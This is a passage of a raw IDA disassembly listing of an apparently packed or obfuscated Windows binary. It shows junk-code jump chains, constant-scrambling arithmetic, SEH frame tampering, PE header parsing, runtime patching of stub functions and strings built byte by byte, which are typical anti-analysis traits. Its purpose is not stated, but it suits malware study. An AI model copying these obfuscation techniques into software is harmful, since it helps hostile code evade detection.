mov esp, [esp+8] loc_425B24: ; CODE XREF: sub_426E8C-25B1j ; sub_426E8C-25A6j ... xor eax, eax loc_425B26: ; CODE XREF: sub_427032-7DEj pop large dword ptr fs:0 pop edx pop ecx jmp loc_426A29 sub_425B19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425B34 proc near ; DATA XREF: sub_426354+2863o add edx, 30h mov eax, [ebp-10h] mov [ebp+eax-20h], dl call sub_426523 loc_425B43: ; CODE XREF: sub_426D02+75Cj jmp loc_427D24 sub_425B34 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_425B48: ; CODE XREF: sub_425BF2:loc_427266j mov [ecx], ebx xchg esi, [edx] jmp loc_4290BA ; END OF FUNCTION CHUNK FOR sub_425BF2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_425B52: ; CODE XREF: hjohnhn9:004251ADj jmp loc_423591 ; --------------------------------------------------------------------------- loc_425B57: ; CODE XREF: hjohnhn9:00428227j pop esi mov eax, ds:dword_428394 or eax, eax jnz loc_4270B6 jmp loc_42886C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_425B6B: ; CODE XREF: sub_426475-32A6j push esi pop ebp adc ebp, 815C8186h xchg eax, ebx loc_425B75: ; CODE XREF: sub_426475:loc_4231C3j xor ecx, 2A87C29Dh add ecx, 0DE0DEAC2h call sub_4280D2 ; END OF FUNCTION CHUNK FOR sub_426475 ; START OF FUNCTION CHUNK FOR sub_428CC9 loc_425B86: ; CODE XREF: sub_428CC9-4E9Ej add eax, 0B9CCE796h xor eax, 0F605D27Eh call sub_426961 ; END OF FUNCTION CHUNK FOR sub_428CC9 ; START OF FUNCTION CHUNK FOR sub_4284CB loc_425B97: ; CODE XREF: sub_4284CB+1Dj jmp loc_427FBA ; END OF FUNCTION CHUNK FOR sub_4284CB ; --------------------------------------------------------------------------- push ecx jmp loc_423556 ; --------------------------------------------------------------------------- loc_425BA2: ; DATA XREF: sub_424631+378Bo push eax cmp dword ptr [ebp-14h], 5 setz al call sub_42392D pop ecx shl eax, 3 jmp loc_4249BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_425BB8: ; CODE XREF: hjohnhn9:0042330Cj ; sub_424161+1F17j ... lea eax, [ebp-14h] push ebp mov ebp, eax xchg ebp, [esp+0] push 4 jmp loc_4279DE ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_425BC8: ; CODE XREF: sub_4282F8:loc_426189j push offset loc_42768A jmp loc_426A5D ; END OF FUNCTION CHUNK FOR sub_4282F8 ; =============== S U B R O U T I N E ======================================= sub_425BD2 proc near ; DATA XREF: sub_42859A-D0Fo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423082 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423F21 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00424266 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424454 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424517 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042476D SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042477C SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00424AB4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E86 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00425AE1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425D5B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425F81 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426235 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004265B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004266A1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426EFE SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00427028 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427253 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427306 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004277E0 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00427881 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427951 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004286F1 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428B34 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428CAA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428DA6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00429008 SIZE 00000008 BYTES call sub_4279ED push eax loc_425BD8: ; CODE XREF: sub_428249:loc_427632j ror eax, 0Bh call sub_425F93 loc_425BE0: ; CODE XREF: hjohnhn9:loc_426344j jz loc_427951 jmp loc_424517 sub_425BD2 endp ; --------------------------------------------------------------------------- not esi jmp sub_428788 ; =============== S U B R O U T I N E ======================================= sub_425BF2 proc near ; CODE XREF: sub_427C9B-AF7p ; hjohnhn9:00427AE6j var_C = dword ptr -0Ch arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00425B48 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427260 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004281A3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004290BA SIZE 00000015 BYTES xchg eax, [esp+0] pop eax mov eax, [eax] or eax, eax jnz loc_4260A9 jmp loc_427260 sub_425BF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425C05: ; CODE XREF: sub_426354:loc_428388j mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] loc_425C11: ; CODE XREF: sub_4262C5:loc_428B67j or eax, edx jmp loc_427927 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_425C18: ; CODE XREF: sub_42355C+28BFj sbb ebx, 51ADD596h loc_425C1E: ; CODE XREF: sub_42355C:loc_425C40j call sub_424877 mov edx, 0F75CA70h call sub_4279ED push eax jmp loc_428542 ; END OF FUNCTION CHUNK FOR sub_42355C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_425C33: ; CODE XREF: sub_426F5A:loc_42365Dj push edx mov edx, eax call sub_42362A ; END OF FUNCTION CHUNK FOR sub_426F5A ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_425C3B: ; CODE XREF: sub_427AC0-33A9j jmp loc_4283A1 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_425C40: ; CODE XREF: sub_42355C:loc_424E9Fj jz loc_425C1E jmp loc_425E06 ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_425C4B proc near ; DATA XREF: hjohnhn9:00423B7Ao var_4 = dword ptr -4 xchg eax, [esp+0] push 1E9165C3h xchg ebp, [esp+4+var_4] sub_425C4B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424698 loc_425C56: ; CODE XREF: sub_424698+4554j mov ebx, ebp pop ebp and ebx, 0DFC7110Fh add ebx, 0E17EFEFDh jmp loc_423928 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- test ecx, ebp jmp loc_42487D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor ecx, 95DB5AA9h jmp sub_423FB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_425C7D: ; CODE XREF: sub_42363F:loc_4279BBj mov esp, ebp pop ebp mov eax, ds:dword_428B18 or eax, eax jnz loc_426FC7 jmp loc_424860 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- loc_425C93: ; CODE XREF: hjohnhn9:00423DCAj mov ebp, 13519D39h ; =============== S U B R O U T I N E ======================================= sub_425C98 proc near ; CODE XREF: sub_425E5A+5p ; FUNCTION CHUNK AT 004264F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042877D SIZE 0000000B BYTES xchg esi, [esp+0] pop esi push ecx mov ecx, eax jmp loc_4264F0 sub_425C98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov [esi], eax jmp sub_425F93 ; --------------------------------------------------------------------------- ror edi, 4 jmp sub_428965 ; =============== S U B R O U T I N E ======================================= sub_425CB3 proc near ; CODE XREF: hjohnhn9:004250EAj ; sub_425BF2+34D2p var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 004232E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042383A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004240D4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004244B2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004267AC SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427860 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427B97 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push 0CE0AB7D1h xchg edx, [esp+0] mov ecx, edx pop edx loc_425CC2: ; CODE XREF: hjohnhn9:00424BBFj rol ecx, 1Fh xor ecx, 18FAA417h jmp loc_4232E6 sub_425CB3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_425CD0: ; CODE XREF: sub_4275A3-1459j sub ebp, ebx loc_425CD2: ; CODE XREF: sub_4275A3:loc_426139j push offset loc_424DB0 jmp loc_4231A8 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; --------------------------------------------------------------------------- loc_425CDC: ; CODE XREF: hjohnhn9:00427530j push eax ror eax, 14h mov ds:dword_4233AC, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_425CE7: ; CODE XREF: hjohnhn9:loc_425066j ; sub_427564+13A8j rol eax, 14h push esi mov esi, eax xchg esi, [esp+4+var_4] jmp nullsub_75 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423753 loc_425CF5: ; CODE XREF: sub_423753+Ej jnz loc_428BAC jmp loc_427229 ; END OF FUNCTION CHUNK FOR sub_423753 ; --------------------------------------------------------------------------- loc_425D00: ; CODE XREF: hjohnhn9:00428C35j or eax, 8F41505Eh xor eax, 2EDC8CBBh and eax, 600A4B87h add eax, 0A0382512h popf xchg eax, [esp] jmp sub_4279ED ; --------------------------------------------------------------------------- push ebx jmp loc_424F1A ; =============== S U B R O U T I N E ======================================= sub_425D27 proc near ; CODE XREF: sub_42325E+2p ; hjohnhn9:00423FA1j arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] ror eax, 9 mov ds:dword_428394, eax retn sub_425D27 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_425D38: ; CODE XREF: sub_427486+6j jmp loc_4271F2 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_425D3D: ; CODE XREF: sub_42466E+1DD6j jmp loc_424BD9 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42351F loc_425D42: ; CODE XREF: sub_42351F+7j jmp nullsub_13 ; END OF FUNCTION CHUNK FOR sub_42351F ; =============== S U B R O U T I N E ======================================= sub_425D47 proc near ; DATA XREF: hjohnhn9:00427691o add eax, 2 mov [ebp-0Ch], eax mov eax, [ebp-0Ch] call sub_4241E1 sub_425D47 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_425D55: ; CODE XREF: sub_4266B5+4j jmp loc_428A6C ; END OF FUNCTION CHUNK FOR sub_4266B5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_425D5B: ; CODE XREF: sub_425BD2+31EBj jmp loc_427306 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- loc_425D60: ; CODE XREF: hjohnhn9:00427696j jmp locret_427BB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_425D65: ; CODE XREF: sub_426F5A+9j jmp loc_426BA8 ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- loc_425D6A: ; CODE XREF: hjohnhn9:00423B7Fj jmp locret_423F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_425D6F: ; CODE XREF: sub_4265CD:loc_427FB5j jl loc_4235F0 push ebp jmp sub_423AAF ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_425D7B: ; CODE XREF: sub_4236A7:loc_423BF6j add eax, 4 mov ebx, [eax] push ebx push 9A5A1A01h jmp loc_423087 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- pop edx push eax push 0C91257B9h sbb edx, 3A6CB62Eh jmp loc_4264B7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230E0 loc_425D9E: ; CODE XREF: sub_4230E0+Dj jmp loc_42772C ; END OF FUNCTION CHUNK FOR sub_4230E0 ; --------------------------------------------------------------------------- loc_425DA3: ; CODE XREF: hjohnhn9:00425EC0j jo nullsub_98 ; START OF FUNCTION CHUNK FOR sub_42466E loc_425DA9: ; CODE XREF: sub_42466E:loc_42309Fj add eax, 34A89E1h xchg eax, [esp+0] jmp loc_42797F ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427363 loc_425DB7: ; CODE XREF: sub_427363:loc_4270C0j mov large fs:0, esp mov eax, [eax] mov eax, 1 jmp loc_427358 ; END OF FUNCTION CHUNK FOR sub_427363 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add eax, offset nullsub_2 mov byte ptr [eax], 0C3h jnb loc_423515 jmp loc_42462C ; --------------------------------------------------------------------------- loc_425DDE: ; CODE XREF: hjohnhn9:00427C94j jge loc_42390D ; =============== S U B R O U T I N E ======================================= sub_425DE4 proc near ; CODE XREF: sub_426604+7p xchg edx, [esp+0] pop edx push 0D200AD3Ch jmp loc_428129 sub_425DE4 endp ; --------------------------------------------------------------------------- loc_425DF2: ; CODE XREF: hjohnhn9:004274B4j pop ecx rol ecx, 1Bh xor ecx, 7A9DBC6Fh add eax, ecx pop ecx mov eax, [eax] jmp loc_42327E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_425E06: ; CODE XREF: sub_42355C+26EAj jo loc_42626A shr eax, 1Ch adc ecx, 0A57AE9C0h xor ecx, 0F54B0178h jmp loc_425C18 ; END OF FUNCTION CHUNK FOR sub_42355C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425E20: ; CODE XREF: sub_425BD2-1CA9j ; sub_426354:loc_427927j mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] and eax, 0FFh mov eax, ds:dword_4256DC[eax*4] call sub_427B51 loc_425E3A: ; CODE XREF: sub_428829+Aj jmp loc_425270 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- loc_425E3F: ; CODE XREF: hjohnhn9:0042690Dj jmp nullsub_119 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_425E44: ; CODE XREF: sub_4244F5+617j jmp loc_42681D ; END OF FUNCTION CHUNK FOR sub_4244F5 ; =============== S U B R O U T I N E ======================================= sub_425E49 proc near ; CODE XREF: sub_425EEA:loc_423E7Bp ; hjohnhn9:00424A6Fj xchg ecx, [esp+0] pop ecx mov eax, [ebp-4] push offset sub_428CC9 jmp nullsub_14 sub_425E49 endp ; =============== S U B R O U T I N E ======================================= sub_425E5A proc near call sub_4279ED call sub_425C98 sub_425E5A endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423B05 loc_425E64: ; CODE XREF: sub_423B05+4B2Cj jmp loc_427EE2 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_425E69: ; CODE XREF: sub_426475-2F89j jmp loc_42602D ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C09 loc_425E6E: ; CODE XREF: sub_426C09-35E4j xor ecx, 3684023Fh xor edi, 470493CFh cmp ecx, 0E7563046h jmp loc_428F8E ; END OF FUNCTION CHUNK FOR sub_426C09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_425E85: ; CODE XREF: sub_4279C0:loc_42507Bj mov ebx, esi xchg ebx, [esp+0] push eax pop esi xchg esi, [esp+0] jmp loc_42446C ; END OF FUNCTION CHUNK FOR sub_4279C0 ; =============== S U B R O U T I N E ======================================= sub_425E94 proc near ; CODE XREF: hjohnhn9:0042633Ap ; hjohnhn9:00426A24j ; FUNCTION CHUNK AT 0042673C SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push edx push offset sub_428BCF jmp loc_42673C sub_425E94 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C4E loc_425EA4: ; CODE XREF: sub_428C4E+22j jmp loc_426894 ; END OF FUNCTION CHUNK FOR sub_428C4E ; =============== S U B R O U T I N E ======================================= sub_425EA9 proc near ; CODE XREF: hjohnhn9:loc_423815p ; sub_425BD2:loc_4277E0j ... ; FUNCTION CHUNK AT 00424801 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004289C0 SIZE 00000005 BYTES mov eax, cs xor al, al or eax, eax jmp loc_4289C0 sub_425EA9 endp ; --------------------------------------------------------------------------- loc_425EB4: ; CODE XREF: hjohnhn9:00428234j jnb loc_4243D9 test ebp, 0EFCFED04h jmp loc_425DA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425EC5: ; CODE XREF: sub_426354-17EAj mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax loc_425ED0: ; CODE XREF: sub_424B4A:loc_42666Cj ; sub_427805j ... mov eax, [ebp-20h] movzx eax, byte ptr [eax] mov [ebp-1Ch], eax jb loc_426E12 jmp loc_424D6D ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- loc_425EE4: ; CODE XREF: hjohnhn9:00426DEDj sbb eax, 0C96DEF00h ; =============== S U B R O U T I N E ======================================= sub_425EEA proc near ; CODE XREF: sub_427564+D08p ; FUNCTION CHUNK AT 00423E7B SIZE 00000012 BYTES xchg edi, [esp+0] pop edi pop esi push 1Ch lea eax, [ebp-34h] push eax jmp loc_423E7B sub_425EEA endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_425EFB: ; CODE XREF: sub_423CDB+3ED1j jmp loc_42869B ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425F00: ; CODE XREF: sub_426354+2413j jge loc_4275D2 ; END OF FUNCTION CHUNK FOR sub_426354 ; START OF FUNCTION CHUNK FOR sub_427DE6 loc_425F06: ; CODE XREF: sub_427DE6+1Fj jmp loc_426449 ; END OF FUNCTION CHUNK FOR sub_427DE6 ; --------------------------------------------------------------------------- push 0E2CE79D4h jmp loc_4275CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_425F15: ; CODE XREF: sub_426A78-2D29j jle loc_424E99 loc_425F1B: ; CODE XREF: sub_426A78:loc_423D47j or eax, 4D94C7ABh rol eax, 10h add eax, 188315A2h mov eax, [eax] or eax, eax jnz loc_428510 jmp loc_427436 ; END OF FUNCTION CHUNK FOR sub_426A78 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_425F3A: ; CODE XREF: sub_427852+8j jmp loc_428319 ; END OF FUNCTION CHUNK FOR sub_427852 ; =============== S U B R O U T I N E ======================================= sub_425F3F proc near ; DATA XREF: sub_4290CF-215Co ; FUNCTION CHUNK AT 00423456 SIZE 00000005 BYTES dec dword ptr [ebp-24h] jnz loc_42885B jmp loc_423456 sub_425F3F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_425F4D: ; CODE XREF: sub_4265CD-3096j rol eax, 17h push esi mov esi, edi xchg esi, [esp+0] jmp loc_4232EB ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_425F5B: ; CODE XREF: sub_4279C0:loc_4249D7j mov edi, ecx xchg edi, [esp+0] push 0FFFFFFF1h call sub_42472D push ebx jmp loc_42507B ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- locret_425F6D: ; CODE XREF: hjohnhn9:004266F8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_425F6E: ; CODE XREF: hjohnhn9:00423165j ; sub_423BC3:loc_427825j jmp loc_4241BE ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- jbe loc_42497C rol ecx, 17h jmp sub_42645D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_425F81: ; CODE XREF: sub_425BD2:loc_427028j jns loc_423082 jmp loc_4277E0 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- sub esi, edx jmp loc_423B04 ; =============== S U B R O U T I N E ======================================= sub_425F93 proc near ; CODE XREF: sub_425BD2+9p ; hjohnhn9:00425CA6j xchg ebx, [esp+0] pop ebx mov ds:dword_423950, eax retn sub_425F93 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_425F9E: ; CODE XREF: sub_424819+26C7j jmp loc_426A03 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42859A loc_425FA3: ; CODE XREF: sub_4248B1j sub_42859A+6j rol eax, 0Bh push eax call sub_4244F5 jmp nullsub_55 ; END OF FUNCTION CHUNK FOR sub_42859A ; --------------------------------------------------------------------------- loc_425FB1: ; CODE XREF: hjohnhn9:00424DD2j mov byte ptr [eax], 0C3h call nullsub_1 call nullsub_117 call nullsub_119 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_4239D3 jmp loc_4281D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4251EB loc_425FDC: ; CODE XREF: sub_4251EB:loc_4283BAj jz loc_4232DA push 5CCB0B2Eh jp loc_424954 jmp loc_4232D1 ; END OF FUNCTION CHUNK FOR sub_4251EB ; --------------------------------------------------------------------------- jnb sub_4283C9 cdq jmp sub_423E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4238CC loc_425FFE: ; CODE XREF: sub_4238CC+1Aj add eax, 3960E5C1h add eax, ebp add eax, 43C7FE34h mov eax, [eax] xor edx, eax pop eax add edx, 2 jmp loc_423F45 ; END OF FUNCTION CHUNK FOR sub_4238CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_426019: ; CODE XREF: sub_426671+Fj pop ebp mov eax, ds:dword_428B04 or eax, eax jnz loc_428551 jmp loc_427895 ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_42602D: ; CODE XREF: sub_426475:loc_425E69j xchg eax, [esp+4+var_4] push 7CD0134Eh pop ecx xor ecx, 749589EAh rol ecx, 5 jmp loc_427EA1 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- pop ebp jmp loc_427C99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42604A: ; CODE XREF: sub_4260BD+26Aj shr eax, 15h test edx, ecx jmp loc_426D8C ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426054: ; CODE XREF: sub_424161+30A2j adc eax, 0D6D0B437h loc_42605A: ; CODE XREF: sub_424161+438j xor edx, 136ECA97h add edx, 131DE3E6h add edx, ebp add edx, 78F92151h mov [edx], eax pop edx mov dword ptr [ebp-0Ch], 1 jmp loc_425BB8 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_42607D: ; CODE XREF: sub_42355C:loc_42743Bj sub eax, 6611ACDCh add eax, 4874857Dh mov eax, [eax] or eax, eax jnz loc_428551 jmp loc_424E9F ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_426098 proc near ; CODE XREF: hjohnhn9:00423006j ; sub_427805+6p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi mov eax, 6 sub eax, [ebp-4] call sub_424181 loc_4260A9: ; CODE XREF: sub_425BF2+8j ; sub_42841F+Cj ... mov edx, [esp-4+arg_0] mov al, 1 call edx xor eax, eax retn sub_426098 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_4260B3: ; CODE XREF: sub_426CC8+1A10j jmp sub_427AEB ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4260B8: ; CODE XREF: sub_42304F+21j ; sub_423444+3CB0j jmp loc_424218 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= sub_4260BD proc near ; CODE XREF: sub_426475:loc_4234D8p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423A50 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00423BF1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423CA1 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042409B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042497B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00424A12 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424DB8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042604A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426325 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426D8C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00426E4D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426EE5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427431 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042763E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427714 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042794A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004282E4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428337 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042873A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429032 SIZE 0000000C BYTES push edi jmp loc_42873A sub_4260BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4260C3: ; CODE XREF: sub_427C9B:loc_427CB9j mov esi, 0C4B77320h jmp loc_4289DB ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_4260CD: ; CODE XREF: sub_426F85+Ej cmp dword ptr [ebp-4], 0 jz loc_428EEB mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_428D00 ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- loc_4260EA: ; CODE XREF: hjohnhn9:004251A2j sub esi, 329C18AFh xor esi, 91F0F70Bh xchg esi, [esp] ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_4260F9: ; CODE XREF: sub_423BC3+53F7j mov eax, [ebp-8] push ebp jmp loc_424FE3 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- loc_426102: ; CODE XREF: hjohnhn9:004266DEj mov byte ptr [eax], 64h inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] jmp loc_428621 ; --------------------------------------------------------------------------- loc_426116: ; DATA XREF: sub_426523+1F40o inc dword ptr [ebp-10h] push offset loc_426F35 jmp locret_424EBD ; --------------------------------------------------------------------------- ; START OF 